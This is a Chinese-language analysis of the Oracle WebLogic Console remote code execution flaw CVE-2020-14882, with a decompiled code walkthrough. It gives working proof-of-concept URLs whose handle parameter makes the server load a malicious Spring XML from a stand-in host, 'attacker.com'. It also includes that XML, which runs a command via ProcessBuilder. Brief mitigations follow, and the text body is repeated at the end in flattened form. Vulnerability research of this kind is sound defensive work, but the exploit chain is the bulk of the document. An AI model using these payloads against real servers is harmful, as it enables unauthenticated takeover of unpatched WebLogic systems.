Weblogic 10.3.6.0版本 Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)分析以及poc构造
字数 1660 2025-08-20 18:18:24

WebLogic 10.3.6.0 Console HTTP协议远程代码执行漏洞(CVE-2020-14882)深度分析与利用

漏洞概述

CVE-2020-14882是Oracle WebLogic Server Console中的一个高危远程代码执行漏洞,与CVE-2020-14883权限绕过漏洞配合使用时,攻击者可以在未经身份验证的情况下执行任意代码并接管WebLogic Server Console。

受影响版本

  • Oracle WebLogic Server 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

漏洞分析

漏洞入口点

漏洞的触发点位于com/bea/console/handles/HandleFactory.class中的getHandle方法。

漏洞触发流程

  1. 请求处理流程

    • 访问后台地址:http://localhost:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
    • 请求会执行到com/bea/console/utils/BreadcrumbBacking.classinit方法
  2. 关键代码分析

    public void init(HttpServletRequest req, HttpServletResponse res) {
        if (req.getParameter(NO_BC) == null) {
            String handleStr = this.findFirstHandle(req);
            if (this.handle == null && handleStr != null && !handleStr.equals("")) {
                try {
                    this.handle = HandleFactory.getHandle(handleStr);
                    String name = this.handle.getDisplayName();
                    req.getSession().setAttribute(BREADCRUMB_CONTEXT_VALUE, name);
                } catch (Exception var6) {
                }
            }
            this.dispatchedValue = (BCValue)req.getSession().getAttribute(DISPATCHED_BREADCRUMB);
        }
    }
    
  3. handle参数获取

    • findFirstHandle方法会遍历请求参数,寻找名为"handle"的参数
    • 当找到"handle"参数时,返回其值
  4. 漏洞核心方法getHandle

    public static Handle getHandle(String serializedObjectID) {
        if (StringUtils.isEmptyString(serializedObjectID)) {
            throw new InvalidParameterException("No serialized object string specified");
        } else {
            serializedObjectID = serializedObjectID.replace('+', ' ');
            String serialized = HttpParsing.unescape(serializedObjectID, "UTF-8");
            int open = serialized.indexOf(40); // 查找左括号'('的位置
            if (open < 1) {
                throw new InvalidParameterException("Syntax error parsing serializedObjectID string: " + serialized);
            } else {
                String className = serialized.substring(0, open);
                String objectIdentifier = serialized.substring(open + 2, serialized.length() - 2);
                try {
                    Class handleClass = Class.forName(className);
                    Object[] args = new Object[]{objectIdentifier};
                    Constructor handleConstructor = handleClass.getConstructor(String.class);
                    return (Handle)handleConstructor.newInstance(args);
                } catch (ClassNotFoundException var8) {
                    throw new InvalidParameterException("No handle class found for type: " + className);
                } catch (Exception var9) {
                    throw new InvalidParameterException("Unable to instanciate handle type: " + className, var9);
                }
            }
        }
    }
    

漏洞原理

getHandle方法会:

  1. 解析传入的字符串,提取类名和构造参数
  2. 动态加载指定的类
  3. 调用该类的带String参数的构造方法
  4. 实例化对象并返回

攻击者可以构造特殊的handle参数值,指定任意类名和构造参数,WebLogic会尝试实例化该类,从而导致代码执行。

漏洞利用

利用条件

  1. 需要有后台管理员权限(通常需要配合CVE-2020-14883权限绕过漏洞)
  2. 需要找到合适的类,该类:
    • 具有带String参数的构造方法
    • 构造方法中存在可利用的点

利用链

在WebLogic中,可以利用以下类进行攻击:

  1. FileSystemXmlApplicationContext

    • 类名:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
    • 原理:通过加载外部XML文件实现远程代码执行
  2. ClassPathXmlApplicationContext

    • 类名:com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext
    • 原理:与FileSystemXmlApplicationContext类似,都是继承自AbstractXmlApplicationContext

POC构造

  1. 基本POC结构

    http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=恶意类名("构造参数")
    
  2. 使用FileSystemXmlApplicationContext的POC

    http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attacker.com/malicious.xml")
    

    其中malicious.xml内容示例:

    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="pb" class="java.lang.ProcessBuilder">
          <constructor-arg>
             <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>calc.exe</value>
             </list>
          </constructor-arg>
          <property name="whatever" value="#{ pb.start() }"/>
       </bean>
    </beans>
    
  3. 使用ClassPathXmlApplicationContext的POC

    http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://attacker.com/malicious.xml")
    

防御措施

  1. 官方补丁

    • 应用Oracle官方发布的关键补丁更新(CPU)
  2. 临时缓解措施

    • 限制对WebLogic Console的访问
    • 使用网络防火墙规则限制访问源
  3. 其他措施

    • 监控可疑的HTTP请求,特别是包含特殊handle参数的请求
    • 定期更新WebLogic Server到最新版本

总结

CVE-2020-14882是一个严重的远程代码执行漏洞,结合CVE-2020-14883权限绕过漏洞可以形成完整的攻击链。漏洞的核心在于WebLogic Console对handle参数的不安全处理,导致攻击者可以通过构造特殊的类名和参数实现任意代码执行。管理员应及时应用补丁,并采取适当的防护措施。

WebLogic 10.3.6.0 Console HTTP协议远程代码执行漏洞(CVE-2020-14882)深度分析与利用 漏洞概述 CVE-2020-14882是Oracle WebLogic Server Console中的一个高危远程代码执行漏洞,与CVE-2020-14883权限绕过漏洞配合使用时,攻击者可以在未经身份验证的情况下执行任意代码并接管WebLogic Server Console。 受影响版本 : Oracle WebLogic Server 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 漏洞分析 漏洞入口点 漏洞的触发点位于 com/bea/console/handles/HandleFactory.class 中的 getHandle 方法。 漏洞触发流程 请求处理流程 : 访问后台地址: http://localhost:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1 请求会执行到 com/bea/console/utils/BreadcrumbBacking.class 的 init 方法 关键代码分析 : handle参数获取 : findFirstHandle 方法会遍历请求参数,寻找名为"handle"的参数 当找到"handle"参数时,返回其值 漏洞核心方法 getHandle : 漏洞原理 getHandle 方法会: 解析传入的字符串,提取类名和构造参数 动态加载指定的类 调用该类的带String参数的构造方法 实例化对象并返回 攻击者可以构造特殊的handle参数值,指定任意类名和构造参数,WebLogic会尝试实例化该类,从而导致代码执行。 漏洞利用 利用条件 需要有后台管理员权限(通常需要配合CVE-2020-14883权限绕过漏洞) 需要找到合适的类,该类: 具有带String参数的构造方法 构造方法中存在可利用的点 利用链 在WebLogic中,可以利用以下类进行攻击: FileSystemXmlApplicationContext : 类名: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 原理:通过加载外部XML文件实现远程代码执行 ClassPathXmlApplicationContext : 类名: com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext 原理:与FileSystemXmlApplicationContext类似,都是继承自AbstractXmlApplicationContext POC构造 基本POC结构 : 使用FileSystemXmlApplicationContext的POC : 其中malicious.xml内容示例: 使用ClassPathXmlApplicationContext的POC : 防御措施 官方补丁 : 应用Oracle官方发布的关键补丁更新(CPU) 临时缓解措施 : 限制对WebLogic Console的访问 使用网络防火墙规则限制访问源 其他措施 : 监控可疑的HTTP请求,特别是包含特殊handle参数的请求 定期更新WebLogic Server到最新版本 总结 CVE-2020-14882是一个严重的远程代码执行漏洞,结合CVE-2020-14883权限绕过漏洞可以形成完整的攻击链。漏洞的核心在于WebLogic Console对handle参数的不安全处理,导致攻击者可以通过构造特殊的类名和参数实现任意代码执行。管理员应及时应用补丁,并采取适当的防护措施。